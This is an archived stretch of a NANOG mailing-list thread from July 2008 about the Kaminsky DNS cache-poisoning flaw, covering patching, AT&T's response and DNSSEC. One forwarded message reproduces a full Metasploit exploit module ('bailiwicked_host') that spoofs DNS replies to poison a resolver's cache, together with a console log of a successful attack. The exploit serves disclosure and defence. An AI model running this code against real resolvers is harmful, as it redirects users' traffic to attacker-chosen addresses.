maybe as much as 24 hours later. So, it could take months or years to poison a resolver just once, far below the patience threshold for your run-of-the-mill script kiddie. What's new about this attack is that it removes mitigator B. You can guess again and again, back to back, until you hit that 1 in 1000. Paul tells us this can happen in about 11 seconds, well inside the tolerance of your normal script kiddie and long before you'll notice the log messages about invalid responses. Anyway, it shouldn't be hard to convert this from a poisoning vulnerability to a less troubling DOS vulnerability by rejecting responses for a particular query (even if valid) when received near a bad-id response. From there it just takes some iterative improvements to mitigate the DOS. In the mean time, randomizing the query port makes the attack more than four orders of magnitude less effective and causes it to require more than four orders of magnitude of additional resources on the attacker's part. Regards, Bill Herrin -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From hannigan at verneglobal.com Thu Jul 24 10:50:15 2008 From: hannigan at verneglobal.com (Martin Hannigan) Date: Thu, 24 Jul 2008 15:50:15 -0000 Subject: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning- RELEASED In-Reply-To: References: <20080723.211759.15942.0@webmail14.vgs.untd.com><200807241006.26010.simonw@zynet.net> <20080724084304.7c730455@t41-0> Message-ID: > > I personally know several folks from within and wayyy from outside the > DNS > world who discovered this very out there and obvious issue and worked > hard > to try and contact the operators. Those that haven't fixed it yet, > likely > won't if all thing remain even. > I don't know that a failure to act immediately is indicative of ignoring the problem. Not to defend AT&T or any other provider, but it's not as simple as rolling out a patch. -M< From ge at linuxbox.org Thu Jul 24 10:51:41 2008 From: ge at linuxbox.org (Gadi Evron) Date: Thu, 24 Jul 2008 10:51:41 -0500 (CDT) Subject: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning- RELEASED In-Reply-To: References: <20080723.211759.15942.0@webmail14.vgs.untd.com><200807241006.26010.simonw@zynet.net> <20080724084304.7c730455@t41-0> Message-ID: On Thu, 24 Jul 2008, Martin Hannigan wrote: > > >> >> I personally know several folks from within and wayyy from outside the >> DNS >> world who discovered this very out there and obvious issue and worked >> hard >> to try and contact the operators. Those that haven't fixed it yet, >> likely >> won't if all thing remain even. >> > > > I don't know that a failure to act immediately is indicative of ignoring > the problem. Not to defend AT&T or any other provider, but it's not as > simple as rolling out a patch. Marty, are we talking of the same problem? I am talking about recursion enabled in bind? > > > -M< > > > From vixie at isc.org Thu Jul 24 10:54:44 2008 From: vixie at isc.org (Paul Vixie) Date: Thu, 24 Jul 2008 15:54:44 +0000 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: Your message of "Thu, 24 Jul 2008 10:40:03 EST." <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> Message-ID: <38042.1216914884@nsa.vix.com> > > > 11 seconds. > > > > > > and at&t refuses to patch. > > > > > > and all iphones use those name servers. > > > > Has at&t told you they are refusing to patch? Or are you just spreading > > FUD about at&t and don't actually have any information about their plans? > > I believe it is a hypothetical situation being presented... so, noone else has had multiple copies of the following fwd'd to them with the heading, "WTF,O?" note that it's full of factual errors but does seem to represent AT&T's position on CERT VU# 800113. that someone inside AT&T just assumed that this was the same problem as described in CERT VU#252735 and didn't bother to call CERT, or kaminsky, or me, to verify, ASTOUNDS me. (if someone from AT&T's DNS division has time to chat, my phone numbers are in `whois -h whois.arin.net pv15-arin`.) --- "AT&T Response: US-CERT DNS Security Alert- announced July 8, 2008 On July 8, 2008, US-CERT issued a Technical Cyber Security Alert TA08-190B with the title 'Multiple DNS implementations vulnerable to cache poisoning.' This alert describes how deficiencies in the DNS protocol and common DNS implementations facilitate DNS Cache poisoning attacks. This vulnerability only affects caching DNS servers, not authoritative DNS servers. This alert instructed administrators to contact their vendors for patches. The DNS community has been aware of this vulnerability for some time. CERT technical bulletin http://www.kb.cert.org/vuls/id/252735 issued in July, 2007, identified this vulnerability but at the time no patches were available from vendors. AT&T does not disclose the name of its DNS vendors as a security measure but has implemented a preliminary patch that was available in January, 2008. The latest patch for alert TA08-190B is currently being tested and will be deployed in the network as soon as its quality has been assured. AT&T employs best practices in the management of its DNS infrastructure. For example, the majority of AT&T's caching DNS infrastructures have load balancers. Load balancers decrease the risk significantly because hackers are unable to target specific DNS servers. As with all patches to software affecting AT&T's production networks and infrastructure, AT&T first tests the patches in the lab to ensure they work as expected and then certifies them before deploying them into our production infrastructure. Conclusion: Security is of paramount importance to AT&T. AT&T has a comprehensive approach to the security of its networks and supporting infrastructures. AT&T is meeting or exceeding our world-class DNS network performance measures. We will continue to monitor the situation and will deploy software upgrades, as warranted, following our structured testing and certification process." === -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From williams at csr.utexas.edu Thu Jul 24 11:07:05 2008 From: williams at csr.utexas.edu (Stephen Williams) Date: Thu, 24 Jul 2008 11:07:05 -0500 Subject: [Fwd: CAU-EX-2008-0002: Kaminsky DNS Cache Poisoning Flaw Exploit] Message-ID: <4888A8A9.8040803@csr.utexas.edu> just posted on bugtraq and uk newsgroups.... -------- Original Message -------- Subject: CAU-EX-2008-0002: Kaminsky DNS Cache Poisoning Flaw Exploit Date: Wed, 23 Jul 2008 18:34:26 -0500 From: I)ruid Organization: Computer Academic Underground To: full-disclosure at lists.grok.org.uk CC: bugtraq ____ ____ __ __ / \ / \ | | | | ----====####/ /\__\##/ /\ \##| |##| |####====---- | | | |__| | | | | | | | ___ | __ | | | | | ------======######\ \/ /#| |##| |#| |##| |######======------ \____/ |__| |__| \______/ Computer Academic Underground http://www.caughq.org Exploit Code ===============/======================================================== Exploit ID: CAU-EX-2008-0002 Release Date: 2008.07.23 Title: bailiwicked_host.rb Description: Kaminsky DNS Cache Poisoning Flaw Exploit Tested: BIND 9.4.1-9.4.2 Attributes: Remote, Poison, Resolver, Metasploit Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0002.txt Author/Email: I)ruid H D Moore ===============/======================================================== Description =========== This exploit targets a fairly ubiquitous flaw in DNS implementations which allow the insertion of malicious DNS records into the cache of the target nameserver. This exploit caches a single malicious host entry into the target nameserver. By causing the target nameserver to query for random hostnames at the target domain, the attacker can spoof a response to the target server including an answer for the query, an authority server record, and an additional record for that server, causing target nameserver to insert the additional record into the cache. Example ======= # /msf3/msfconsole _ _ _ _ | | | | (_) | _ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_ | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __| | | | | | | __/ || (_| \__ \ |_) | | (_) | | |_ |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__| | | |_| =[ msf v3.2-release + -- --=[ 298 exploits - 124 payloads + -- --=[ 18 encoders - 6 nops =[ 72 aux msf > use auxiliary/spoof/dns/bailiwicked_host msf auxiliary(bailiwicked_host) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- HOSTNAME pwned.example.com yes Hostname to hijack NEWADDR 1.3.3.7 yes New address for hostname RECONS 208.67.222.222 yes Nameserver used for reconnaissance RHOST yes The target address SRCPORT yes The target server's source query port (0 for automatic) XIDS 10 yes Number of XIDs to try for each query msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D RHOST => A.B.C.D msf auxiliary(bailiwicked_host) > check [*] Using the Metasploit service to verify exploitability... [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] FAIL: This server uses static source ports and is vulnerable to poisoning msf auxiliary(bailiwicked_host) > set SRCPORT 0 SRCPORT => 0 msf auxiliary(bailiwicked_host) > run [*] Switching to target port 48178 based on Metasploit service [*] Targeting nameserver A.B.C.D [*] Querying recon nameserver for example.com.'s nameservers... [*] Got answer with 2 answers, 0 authorities [*] Got an NS record: example.com. 172643 IN NS ns89.worldnic.com. [*] Querying recon nameserver for address of ns89.worldnic.com.... [*] Got answer with 1 answers, 0 authorities [*] Got an A record: ns89.worldnic.com. 172794 IN A 205.178.190.45 [*] Checking Authoritativeness: Querying 205.178.190.45 for example.com.... [*] ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as [*] Got an NS record: example.com. 172643 IN NS ns90.worldnic.com. [*] Querying recon nameserver for address of ns90.worldnic.com.... [*] Got answer with 1 answers, 0 authorities [*] Got an A record: ns90.worldnic.com. 172794 IN A 205.178.144.45 [*] Checking Authoritativeness: Querying 205.178.144.45 for example.com.... [*] ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as [*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178... [*] Sent 1000 queries and 20000 spoofed responses... [*] Sent 2000 queries and 40000 spoofed responses... [*] Sent 3000 queries and 60000 spoofed responses... [*] Sent 4000 queries and 80000 spoofed responses... [*] Sent 5000 queries and 100000 spoofed responses... [*] Sent 6000 queries and 120000 spoofed responses... [*] Sent 7000 queries and 140000 spoofed responses... [*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7 [*] Auxiliary module execution completed msf auxiliary(bailiwicked_host) > msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D [*] exec: nslookup pwned.example.com A.B.C.D Server: A.B.C.D Address: A.B.C.D#53 Non-authoritative answer: Name: pwned.example.com Address: 1.3.3.7 Credits ======= Dan Kaminsky is credited with originally discovering this vulnerability. References ========== http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447 http://www.kb.cert.org/vuls/id/800113 Metasploit ========== require 'msf/core' require 'net/dns' require 'scruby' require 'resolv' module Msf class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary include Exploit::Remote::Ip def initialize(info = {}) super(update_info(info, 'Name' => 'DNS BailiWicked Host Attack', 'Description' => %q{ This exploit attacks a fairly ubiquitous flaw in DNS implementations which Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single malicious host entry into the target nameserver by sending random sub-domain queries to the target DNS server coupled with spoofed replies to those queries from the authoritative nameservers for the domain which contain a malicious host entry for the hostname to be poisoned in the authority and additional records sections. Eventually, a guessed ID will match and the spoofed packet will get accepted, and due to the additional hostname entry being within bailiwick constraints of the original request the malicious host entry will get cached. }, 'Author' => [ 'I)ruid', 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 5585 $', 'References' => [ [ 'CVE', '2008-1447' ], [ 'US-CERT-VU', '8000113' ], [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ], ], 'Privileged' => true, 'Targets' => [ ["BIND", { 'Arch' => ARCH_X86, 'Platform' => 'linux', }, ], ], 'DisclosureDate' => 'Jul 21 2008' )) register_options( [ OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]), OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']), OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']), OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']), OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]), OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]), ], self.class) end def auxiliary_commands return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" } end def cmd_check(*args) targ = args[0] || rhost() if(not (targ and targ.length > 0)) print_status("usage: check [dns-server]") return end print_status("Using the Metasploit service to verify exploitability...") srv_sock = Rex::Socket.create_udp( 'PeerHost' => targ, 'PeerPort' => 53 ) random = false ports = [] lport = nil 1.upto(5) do |i| req = Resolv::DNS::Message.new txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) res, addr = srv_sock.recvfrom() if res and res.length > 0 res = Resolv::DNS::Message.decode(res) res.each_answer do |name, ttl, data| if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) t_addr, t_port = $1.split(':') print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") t_port = t_port.to_i if(lport and lport != t_port) random = true end lport = t_port ports << t_port end end end end srv_sock.close if(ports.length < 5) print_status("UNKNOWN: This server did not reply to our vulnerability check requests") return end if(random) print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}") print_status(" This server may still be exploitable, but not by this tool.") else print_status("FAIL: This server uses static source ports and is vulnerable to poisoning") end end def run target = rhost() source = Rex::Socket.source_address(target) sport = datastore['SRCPORT'] hostname = datastore['HOSTNAME'] + '.' address = datastore['NEWADDR'] recons = datastore['RECONS'] xids = datastore['XIDS'].to_i ttl = datastore['TTL'].to_i xidbase = rand(4)+2*10000 domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0] srv_sock = Rex::Socket.create_udp( 'PeerHost' => target, 'PeerPort' => 53 ) # Get the source port via the metasploit service if it's not set if sport.to_i == 0 req = Resolv::DNS::Message.new txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) res, addr = srv_sock.recvfrom() if res and res.length > 0 res = Resolv::DNS::Message.decode(res) res.each_answer do |name, ttl, data| if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) t_addr, t_port = $1.split(':') sport = t_port.to_i print_status("Switching to target port #{sport} based on Metasploit service") if target != t_addr print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!") end end end end end # Verify its not already cached begin query = Resolv::DNS::Message.new query.add_question(hostname, Resolv::DNS::Resource::IN::A) query.rd = 0 begin cached = false srv_sock.put(query.encode) answer, addr = srv_sock.recvfrom() if answer and answer.length > 0 answer = Resolv::DNS::Message.decode(answer) answer.each_answer do |name, ttl, data| if((name.to_s + ".") == hostname and data.address.to_s == address) t = Time.now + ttl print_status("Failure: This hostname is already in the target cache: #{name} == #{address}") print_status(" Cache entry expires on #{t.to_s}... sleeping.") cached = true sleep ttl end end end end until not cached rescue ::Interrupt raise $! rescue ::Exception => e print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}") end res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}" # Look up the nameservers for the domain print_status "Querying recon nameserver for #{domain}'s nameservers..." answer0 = res0.send(domain, Net::DNS::NS) #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities" barbs = [] # storage for nameservers answer0.answer.each do |rr0| print_status " Got an #{rr0.type} record: #{rr0.inspect}" if rr0.type == 'NS' print_status " Querying recon nameserver for address of #{rr0.nsdname}..." answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" answer1.answer.each do |rr1| print_status " Got an #{rr1.type} record: #{rr1.inspect}" res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..." answer2 = res2.send(domain) if answer2 and answer2.header.auth? and answer2.header.anCount >= 1 nsrec = {:name => rr0.nsdname, :addr => rr1.address} barbs << nsrec print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" end end end end if barbs.length == 0 print_status( "No DNS servers found.") srv_sock.close disconnect_ip return end # Flood the target with queries and spoofed responses, one will eventually hit queries = 0 responses = 0 connect_ip if not ip_sock print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...") while true randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname # Send spoofed query req = Resolv::DNS::Message.new req.id = rand(2**16) req.add_question(randhost, Resolv::DNS::Resource::IN::A) req.rd = 1 buff = ( Scruby::IP.new( #:src => barbs[0][:addr].to_s, :src => source, :dst => target, :proto => 17 )/Scruby::UDP.new( :sport => (rand((2**16)-1024)+1024).to_i, :dport => 53 )/req.encode ).to_net ip_sock.sendto(buff, target) queries += 1 # Send evil spoofed answer from ALL nameservers (barbs[*][:addr]) req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address)) req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname))) req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address)) req.qr = 1 req.ra = 1 xidbase.upto(xidbase+xids-1) do |id| req.id = id barbs.each do |barb| buff = ( Scruby::IP.new( #:src => barbs[i][:addr].to_s, :src => barb[:addr].to_s, :dst => target, :proto => 17 )/Scruby::UDP.new( :sport => 53, :dport => sport.to_i )/req.encode ).to_net ip_sock.sendto(buff, target) responses += 1 end end # status update if queries % 1000 == 0 print_status("Sent #{queries} queries and #{responses} spoofed responses...") end # every so often, check and see if the target is poisoned... if queries % 250 == 0 begin query = Resolv::DNS::Message.new query.add_question(hostname, Resolv::DNS::Resource::IN::A) query.rd = 0 srv_sock.put(query.encode) answer, addr = srv_sock.recvfrom() if answer and answer.length > 0 answer = Resolv::DNS::Message.decode(answer) answer.each_answer do |name, ttl, data| if((name.to_s + ".") == hostname and data.address.to_s == address) print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}") disconnect_ip return end end end rescue ::Interrupt raise $! rescue ::Exception => e print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}") end end end end end end -- I)ruid, C?ISSP druid at caughq.org http://druid.caughq.org -- ''' (O O) ,-------------- oOO-(_)-OOo -------------, | Stephen Williams | | Manager of Computer Services | | Center for Space Research | | University of Texas at Austin | | 3925 W. Braker Ln., Suite 200 | | Austin, TX 78759-5321 | | 512.471.7235 512.471.3570 (fax) | | williams at csr.utexas.edu | |____________________ Oooo ______________| oooO ( ) ( ) ) / \ ( (_/ \_) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 198 bytes Desc: not available URL: From jabley at ca.afilias.info Thu Jul 24 10:57:44 2008 From: jabley at ca.afilias.info (Joe Abley) Date: Thu, 24 Jul 2008 11:57:44 -0400 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <200807241540.m6OFee0Z006818@aurora.sol.net> References: <200807241540.m6OFee0Z006818@aurora.sol.net> Message-ID: On 24 Jul 2008, at 11:40, Joe Greco wrote: >> Compared with the problem of global DNSSEC deployment, getting >> everybody in the world to patch their resolvers looks easy. > > Of course. That's why I said that deploying this patch was > something that > could be done *too*. OK, good. Sorry if I misinterpreted your earlier message. Joe From smb at cs.columbia.edu Thu Jul 24 11:00:11 2008 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Thu, 24 Jul 2008 12:00:11 -0400 Subject: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning- RELEASED In-Reply-To: References: <20080723.211759.15942.0@webmail14.vgs.untd.com> <200807241006.26010.simonw@zynet.net> <20080724084304.7c730455@t41-0> Message-ID: <20080724120011.22f89c70@cs.columbia.edu> On Thu, 24 Jul 2008 15:50:15 -0000 "Martin Hannigan" wrote: > > I don't know that a failure to act immediately is indicative of > ignoring the problem. Not to defend AT&T or any other provider, but > it's not as simple as rolling out a patch. > Right. What scares me is all of the semi-managed hotspots with software that's rarely updated. --Steve Bellovin, http://www.cs.columbia.edu/~smb From jmamodio at gmail.com Thu Jul 24 11:03:03 2008 From: jmamodio at gmail.com (Jorge Amodio) Date: Thu, 24 Jul 2008 11:03:03 -0500 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <20080724104314.0319a2f0@cs.columbia.edu> References: <20080723.225551.2542.0@webmail01.vgs.untd.com> <202705b0807240710u111677dex481c51eb675fe7fb@mail.gmail.com> <20080724104314.0319a2f0@cs.columbia.edu> Message-ID: <202705b0807240903kb58de94u1a56c64443c3d257@mail.gmail.com> > > ... economics of the attack have now > changed. (And we need to get DNSSEC deployed before they change even > further.) > Amen. From vixie at isc.org Thu Jul 24 11:12:37 2008 From: vixie at isc.org (Paul Vixie) Date: Thu, 24 Jul 2008 16:12:37 +0000 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <202705b0807240710u111677dex481c51eb675fe7fb@mail.gmail.com> (Jorge Amodio's message of "Thu\, 24 Jul 2008 09\:10\:13 -0500") References: <202705b0807240710u111677dex481c51eb675fe7fb@mail.gmail.com> Message-ID: jmamodio at gmail.com ("Jorge Amodio") writes: > As I mentioned in another message, perhaps its time to get serious about > DNSSEC, where are we on this front ? still waiting for US-DoC to give ICANN permission to sign the root zone. -- Paul Vixie -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From vixie at isc.org Thu Jul 24 11:13:12 2008 From: vixie at isc.org (Paul Vixie) Date: Thu, 24 Jul 2008 16:13:12 +0000 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <202705b0807240710u111677dex481c51eb675fe7fb@mail.gmail.com> (Jorge Amodio's message of "Thu\, 24 Jul 2008 09\:10\:13 -0500") References: <202705b0807240710u111677dex481c51eb675fe7fb@mail.gmail.com> Message-ID: jmamodio at gmail.com ("Jorge Amodio") writes: > As I mentioned in another message, perhaps its time to get serious about > DNSSEC, where are we on this front ? Still waiting for US-DoC to give ICANN/IANA permission to sign the root zone. -- Paul Vixie -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From vixie at isc.org Thu Jul 24 11:17:11 2008 From: vixie at isc.org (Paul Vixie) Date: Thu, 24 Jul 2008 16:17:11 +0000 Subject: SANS: DNS Bug Now Public? In-Reply-To: <20080724084505.GE95929@catpipe.net> (Phil Regnauld's message of "Thu\, 24 Jul 2008 10\:45\:05 +0200") References: <2A44845F-4D1F-47A8-B6F7-09B50C65C8B4@ca.afilias.info> <20080724084505.GE95929@catpipe.net> Message-ID: regnauld at catpipe.net (Phil Regnauld) writes: > Case in point, we've got customers running around in circles > screaming "we need to upgrade, please help us upgrade NOW", > but they have _3_ layers of routers and firewalls that are hardcoded to > only allow DNS queries from port 53. please take this problem, and all related threads, to . this is NANOG. there are plenty of people on that other mailing list willing to help and interested in helping with DNS issues. fwiw, we all know that udp port randomization isn't a panacea and that it will break many previously-working configurations. we just don't know what else to do NOW while we wait for godot or whomever to deliver us DNSSEC. -- Paul Vixie -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From vixie at isc.org Thu Jul 24 11:21:55 2008 From: vixie at isc.org (Paul Vixie) Date: Thu, 24 Jul 2008 16:21:55 +0000 Subject: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning - In-Reply-To: <200807241006.26010.simonw@zynet.net> (Simon Waters's message of "Thu\, 24 Jul 2008 10\:06\:25 +0100") References: <20080723.211759.15942.0@webmail14.vgs.untd.com> <200807241006.26010.simonw@zynet.net> Message-ID: simonw at zynet.net (Simon Waters) writes: > The advice NOT to allow recursion on TLD servers is well over a decade old. it's not just advice, really. on the mailing list that's a little like this one except that unlike this one it's meant for DNS operations issues, i said . subscription info at . -- Paul Vixie -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From jgreco at ns.sol.net Thu Jul 24 11:24:07 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Thu, 24 Jul 2008 11:24:07 -0500 (CDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: from "Joe Abley" at Jul 24, 2008 11:57:44 AM Message-ID: <200807241624.m6OGO7Qt011161@aurora.sol.net> > On 24 Jul 2008, at 11:40, Joe Greco wrote: > >> Compared with the problem of global DNSSEC deployment, getting > >> everybody in the world to patch their resolvers looks easy. > > > > Of course. That's why I said that deploying this patch was > > something that > > could be done *too*. > > OK, good. Yeah, I'm not arguing against mitigating the immediate problem, but rather: > Sorry if I misinterpreted your earlier message. The problem is that we have this reactionary mindset to threats that have been known for a long time, and we're perfectly happy to issue one-off band-aid fixes, often while not fixing the underlying problem. DNSSEC was designed to deal with just this sort of thing. In almost TWO DECADES since Bellovin's paper, which was arguably the motivation behind DNSSEC, we've ... still got an unsigned root, unsigned GTLD's, unsigned zones, and we've successfully managed to get Gates to train users to click on "OK" for any message where they don't understand what it's trying to say, so relying on security at other layers isn't particularly effective either. Collectively, those of us reading this list are responsible for creating at least part of this mess, either through inaction or foot-dragging. Welcome to the Internet that we've created. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From jmamodio at gmail.com Thu Jul 24 11:38:07 2008 From: jmamodio at gmail.com (Jorge Amodio) Date: Thu, 24 Jul 2008 11:38:07 -0500 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <200807241624.m6OGO7Qt011161@aurora.sol.net> References: <200807241624.m6OGO7Qt011161@aurora.sol.net> Message-ID: <202705b0807240938s3e53be44o1a68dbda2ef011f6@mail.gmail.com> > > ... and we've successfully managed to get Gates to train users to click > on "OK" for any message where they don't understand what it's trying to > say, so relying on security at other layers isn't particularly effective > either. He,he,nice comment. The issue is that with todays html crap and embedded images on mails "click" is no longer required, just include a malicious tag forcing your resolver to go to bad boy's NS to resolve the URL and you are up in biz. /etc/hosts rulez !!! :-) Regards Jorge From LarrySheldon at cox.net Thu Jul 24 11:43:37 2008 From: LarrySheldon at cox.net (Laurence F. Sheldon, Jr.) Date: Thu, 24 Jul 2008 11:43:37 -0500 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <202705b0807240938s3e53be44o1a68dbda2ef011f6@mail.gmail.com> References: <200807241624.m6OGO7Qt011161@aurora.sol.net> <202705b0807240938s3e53be44o1a68dbda2ef011f6@mail.gmail.com> Message-ID: <4888B139.8020703@cox.net> Jorge Amodio wrote: > /etc/hosts rulez !!! :-) Wonder if SRI wstill has the files..... -- Requiescas in pace o email Two identifying characteristics of System Administrators: Ex turpi causa non oritur actio Infallibility, and the ability to learn from their mistakes. Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs From jmamodio at gmail.com Thu Jul 24 12:05:56 2008 From: jmamodio at gmail.com (Jorge Amodio) Date: Thu, 24 Jul 2008 12:05:56 -0500 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <4888B139.8020703@cox.net> References: <200807241624.m6OGO7Qt011161@aurora.sol.net> <202705b0807240938s3e53be44o1a68dbda2ef011f6@mail.gmail.com> <4888B139.8020703@cox.net> Message-ID: <202705b0807241005n77ce6816pe3bb218138376a10@mail.gmail.com> > > /etc/hosts rulez !!! :-) >> > > Wonder if SRI wstill has the files..... The SRI-NIC is long gone, I still remember the IP address of the ftp server 10.0.0.51 :-) There are several "historic copies" all over the net. Jorge From sean at donelan.com Thu Jul 24 12:06:51 2008 From: sean at donelan.com (Sean Donelan) Date: Thu, 24 Jul 2008 13:06:51 -0400 (EDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <38042.1216914884@nsa.vix.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> Message-ID: <0807241305300.267001804928587@clifden.donelan.com> On Thu, 24 Jul 2008, Paul Vixie wrote: > "AT&T Response: US-CERT DNS Security Alert- announced July 8, 2008 > 2008. The latest patch for alert TA08-190B is currently being tested and > will be deployed in the network as soon as its quality has been assured. That doesn't sound like "refuses to patch." It sounds like at&t is testing the patch and will deploy it as soon as its testing is finished. "Refuses to patch" sounds likes FUD. From ml at t-b-o-h.net Thu Jul 24 12:09:15 2008 From: ml at t-b-o-h.net (Tuc at T-B-O-H.NET) Date: Thu, 24 Jul 2008 13:09:15 -0400 (EDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <4888B139.8020703@cox.net> Message-ID: <200807241709.m6OH9FF0035930@himinbjorg.tucs-beachin-obx-house.com> > > Jorge Amodio wrote: > > > /etc/hosts rulez !!! :-) > > Wonder if SRI wstill has the files..... > Using the methods in RFC-952 and RFC-953 I wasn't able to get them. I can't find if there is an updated RFC/name to use. Tuc/TBOH ;) From hannigan at verneglobal.com Thu Jul 24 12:13:12 2008 From: hannigan at verneglobal.com (Martin Hannigan) Date: Thu, 24 Jul 2008 17:13:12 -0000 Subject: TLD servers with recursion was Re: Exploit for DNS CachePoisoning- RELEASED In-Reply-To: References: <20080723.211759.15942.0@webmail14.vgs.untd.com><200807241006.26010.simonw@zynet.net><20080724084304.7c730455@t41-0> Message-ID: > -----Original Message----- > From: Gadi Evron [mailto:ge at linuxbox.org] > Sent: Thursday, July 24, 2008 11:52 AM > To: Martin Hannigan > Cc: nanog at nanog.org > Subject: RE: TLD servers with recursion was Re: Exploit for DNS > CachePoisoning- RELEASED > > On Thu, 24 Jul 2008, Martin Hannigan wrote: > > > > > >> > >> I personally know several folks from within and wayyy from outside > the > >> DNS > >> world who discovered this very out there and obvious issue and > worked > >> hard > >> to try and contact the operators. Those that haven't fixed it yet, > >> likely > >> won't if all thing remain even. > >> > > > > > > I don't know that a failure to act immediately is indicative of > ignoring > > the problem. Not to defend AT&T or any other provider, but it's not > as > > simple as rolling out a patch. > > Marty, are we talking of the same problem? I am talking about recursion > enabled in bind? > I'm reading this as a complaint that people aren't fixing an obvious problem that has a high impact on the network. You're making sense in that respect, but my impression that the angst is in the speed of the fix, not in the need. If 